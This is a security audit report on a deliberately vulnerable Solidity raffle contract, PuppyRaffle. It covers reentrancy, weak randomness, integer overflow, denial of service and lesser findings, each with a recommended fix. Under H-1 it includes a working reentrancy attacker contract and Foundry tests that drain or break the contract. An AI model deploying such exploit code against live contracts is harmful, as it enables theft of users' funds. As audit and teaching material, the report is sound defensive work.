Puppy Raffle Audit Report

Version 1.0

Aayush Gupta

December 23, 2023

Puppy Raffle Audit Report

Aayush Gupta

December 23, 2023

Prepared by: Aayush Gupta Lead Auditors: - Aayush Gupta

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I (Aayush Gupta) make every effort to identify as many vulnerabilities in the code within the given time period but bear no responsibility for the findings presented in this document. A security audit by the team does not constitute an endorsement of the underlying business or product. The audit was time-boxed, and the code review focused solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f
- In Scope: ## Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.

Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	Number of Issues Found
High	3
Medium	3
Low	1
Info	8
Gas	2
Total	17

Findings

High

[H-1] Reentrancy Attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function doe not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1     function refund(uint256 playerIndex) public {
2         address playerAddress = players[playerIndex];
3         require(playerAddress == msg.sender, "PuppyRaffle: Only the
              player can refund");
```

```
4           require(playerAddress != address(0), "PuppyRaffle: Player
               already refunded, or is not active");
5
6   @>      payable(msg.sender).sendValue(entranceFee);
7   @>      players[playerIndex] = address(0);
8
9           emit RaffleRefunded(playerAddress);
10      }
```

A player who has entered the raffle could have a `fallback/receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof Of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code

Code

Place the following into `PuppyRaffleTest.t.sol`

```
1  function test_ReentrancyFund() public {
2          address[] memory players = new address[](4);
3          players[0] = playerOne;
4          players[1] = playerTwo;
5          players[2] = playerThree;
6          players[3] = playerFour;
7          puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
9          ReentrancyAttacker attackerContract = new ReentrancyAttacker(
               puppyRaffle);
10         address attackUser = makeAddr("attackUser");
11         vm.deal(attackUser, 1 ether);
12
13         uint256 startingAttackContractBalance = address(
               attackerContract).balance;
14         uint256 startingContractBalance = address(puppyRaffle).balance;
15
16         console.log("Starting attacker contract balance: ",
               startingAttackContractBalance);
17         console.log("Starting contract balance: ",
               startingContractBalance);
```

```
18
19          // attack
20          vm.prank(attackUser);
21          attackerContract.attack{value: entranceFee}();
22
23          console.log("ending attacker contract balance: ", address(
                attackerContract).balance);
24          console.log("ending contract balance: ", address(puppyRaffle).
                balance);
25      }
```

and this contract as well

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() external payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15
16         attackerIndex = puppyRaffle.getActivePlayerIndex(players[0]);
17         puppyRaffle.refund(attackerIndex);
18     }
19
20     function _stealMoney() internal {
21         if (address(puppyRaffle).balance >= entranceFee) {
22             puppyRaffle.refund(attackerIndex);
23         }
24     }
25
26     fallback() external payable {
27         _stealMoney();
28     }
29
30     receive() external payable {
31         _stealMoney();
32     }
33 }
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle:refund` function update `players` array before making the exteral call. Additionally,we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);

        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner and influence or predict the winning puppy.

Description: Hashing `msg.sender`, `block.timestamp`, and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious ysers can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This means users can front-run this function and call `refund` if they see they are not the winner

Impact: Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy. Making the entire raffle worthless if it becomes a gas war as to who wins the raffle.

Proof Of Concept: 1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao. 2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner! 3. Users can revert their `selectWinner` transcation if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in theblockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number generator such as chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity version prior to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
// 18446744073709551615
myVar = myVar + 1
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct the correct amount of fees, leaving fees permantely stuck in the contract.

Proof Of Concept: 1. We conclude the raffle of 100 players 2. `totalFees` will be

```
(actual fees) totalFees: 1553255926290448384
expectedFees: 20000000000000000000
// and this will oberflow
Difference:  18446744073709551616
```

4. You will not be able to withdraw, due to the line in `PuppyRaffle::withdraw`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Althought you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

Place the following into `PuppyRaffleTest.t.sol`

```
function test_Overflow() public {
        vm.txGasPrice(1);
        uint160 playersNum = 100;
        address[] memory newPlayers = new address[](playersNum);
        for (uint160 i; i < playersNum; i++) {
            newPlayers[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            newPlayers);
        uint256 totalAmountCollected =  entranceFee * playersNum;
        uint256 expectedFees = (totalAmountCollected * 20) / 100;
        vm.warp(block.timestamp + duration + 100);

        puppyRaffle.selectWinner();
```

```
15          uint256 totalFees = puppyRaffle.totalFees();
16          console.log("totalFees:", totalFees);
17          console.log("expectedFees:", expectedFees);
18          console.log("Difference: ", expectedFees - totalFees);
19          assertTrue(totalFees != expectedFees, "Values should be equal")
                ;
20
21          // TotalFees should be 20 eth
22          // instead we get 1553255926290448384 == 1.55 eth
23          // which confirms the overflow error
24          assertTrue(totalFees < 20 ether, "Value should be equal to 20")
                ;
25      }
```

Recommended Mitigation: There are a few possible mitigations.

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library of OpenZepplin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance chcek from `PuppyRaffle::withdrawFees`

```
1 - require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

There are more attack vectors with that final require, so we recommend removing it regardless.

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterRaffle` is a potential denial of service (DoS) attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::Players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle stats will be dramatically lower than those whose enter later. Every Additional address in the `players` array, is an aadditional check the loop will have to make.

```
1 // @audit DoS Attack
2 @>      for (uint256 i = 0; i < players.length - 1; i++) {
3             for (uint256 j = i + 1; j < players.length; j++) {
4                 require(players[i] != players[j], "PuppyRaffle:
                      Duplicate player");
5             }
6         }
```

Imapct: The gas costs for raffle entrants will grately incraese as more players enter the raffle. Discourging later users from entering, and cauisng a rush at the start of a raffle to be one of the first entrats in the queue.

An attacker might make the `PuppyRaffle::entrants` arrays so big, that no one else enters, guaranteeing themselves the win.

Proof of Concept: if we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6254372 - 2nd 100 players: 18070466

This is more than 3x more expensive for the second 100 players

<summary?>PoC Place the following test into `PuppyRaffleTest.t.sol`

```
function testDosAttack() public {
        vm.txGasPrice(1);
        uint160 playersNum = 100;
        address[] memory newPlayers = new address[](playersNum);
        for (uint160 i; i < playersNum; i++) {
            newPlayers[i] = address(i);
        }
        uint256 gasStart = gasleft();
        address user = makeAddr("user");
        vm.deal(user, 1000000 ether);
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            newPlayers);
        uint256 gasEnd = gasleft();
        uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
        uint256 gasUsedFirst1 = (gasStart - gasEnd);
        console.log("Gas cost of the first 100 players: ", gasUsedFirst
            );

        // now for the second 100 people
        address[] memory newPlayers2 = new address[](playersNum);
        for (uint160 i; i < playersNum; i++) {
            newPlayers[i] = address(i + playersNum);
        }
        uint256 gasStart2 = gasleft();
        address user2 = makeAddr("user2");
        vm.deal(user2, 1000000 ether);
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            newPlayers);
        uint256 gasEnd2 = gasleft();
        uint256 gasUsedSecond = (gasStart2 - gasEnd2) * tx.gasprice;
        uint256 gasUsedSecond1 = (gasStart2 - gasEnd2);
        console.log("Gas cost of the first 100 players: ",
            gasUsedSecond);

        assert((gasUsedFirst * 2) < gasUsedSecond);
    }
```

Recommended Mitigation There are a few recomendations. 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered.

```
+  mapping(address => uint256) public addressToRaffleId;
+  uint256 public raffleId = 0;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "
           PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
            addressToRaffleId[newPlayers[i]] = raffleId;
        }

+       // Check for duplicates only from the new players
+        for(uint256 i=0; i < newPlayers.length; i++){
+            require(addressToRaffleId[newPlayers[i]] != raffleId, "
   PuppyRaffle: Duplicate player");
+        }


-        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle:
   Duplicate player");
-            }
-        }


        emit RaffleEnter(newPlayers);
    }
```

Alternatively, you can use Openzeppelin's Enumerable Library

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
           PuppyRaffle: Raffle not over");
```

```
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
```

```
9           uint256 winnerIndex =
10              uint256(keccak256(abi.encodePacked(msg.sender, block.
                    timestamp, block.difficulty))) % players.length;
11          address winner = players[winnerIndex];
12          uint256 totalAmountCollected = players.length * entranceFee;
13          uint256 prizePool = (totalAmountCollected * 80) / 100;
14          uint256 fee = (totalAmountCollected * 20) / 100;
15  -       totalFees = totalFees + uint64(fee);
16  +       totalFees = totalFees + fee;
```

[M-3] Smart contract wallets raffle winners without a `receive` or a `fallabck` function will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contact wallet that rejects payment, the lottery would not be able to restart.

Users could easily call the `selectWinner` function again and non-wallet entrants could enter, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, making a lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money.

Proof Of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

> Pull over Push

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the netspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns
        (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact A player at index 0 to incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are thefist entant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the functio documentation

Recommended Mitigation: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return as `int256` where the function returns -1 if the player is not active.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: - `PuppyRaffle::raffleDuration` should be `immutable` - `PuppyRaffle::commonImageUri` should be `constant` - `PuppyRaffle::rareImageUri` should be `constant` - `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variable in a loop should be cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
+   uint256 playersLength = newPlayers.length;
-    for (uint256 i = 0; i < newPlayers.length; i++) {
+    for (uint256 i = 0; i < playersLength; i++) {
```

```
4               players.push(newPlayers[i]);
5           }
```

Informational

[I-1]: Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.7.6;`, use `pragma solidity 0.7.6;`

- Found in src/PuppyRaffle.sol Line: 2

```
1 pragma solidity ^0.7.6;
```

[I-2] Using an outdated version of solidity is not recommended.

Please use newer version like `0.8.18`

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement.

Recommendation Deploy with any of the following Solidity versions:

`0.8.18`

The recommendations take into account: - Risks related to recent releases - Risks of complex code generation changes - Risks of new language features - Risks of known bugs - Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

Please read Slither recommendation to understand more

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 174

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 198

```
        feeAddress = newFeeAddress;
```

[I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It's best to keep code clean and fellow CEI (Checks, Effects, Interactions)

```
-       (bool success,) = winner.call{value: prizePool}("");
-       require(success, "PuppyRaffle: Failed to send prize pool to winner");

        _safeMint(winner, tokenId);
+       (bool success,) = winner.call{value: prizePool}("");
+       require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-5] Use of "Magic" numbers is discouraged

It can be confusing to see number literal in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you can use:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PERCENTAGE = 100;
```

[I-6]: Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

- Found in src/PuppyRaffle.sol Line: 59

```
    event RaffleEnter(address[] newPlayers);
```

- Found in src/PuppyRaffle.sol Line: 60

```
1       event RaffleRefunded(address player);
```

- Found in src/PuppyRaffle.sol Line: 61

```
1       event FeeAddressChanged(address newFeeAddress);
```

[I-7] State changes are missing events

It is good practice to emit the event whenever you changes the state of the smart contact.

[I-8] `PuppyRaffle::_isActivePlayer` is never used and should be removed

Dead code, it is only increases the deployment gas cost of the smart contract.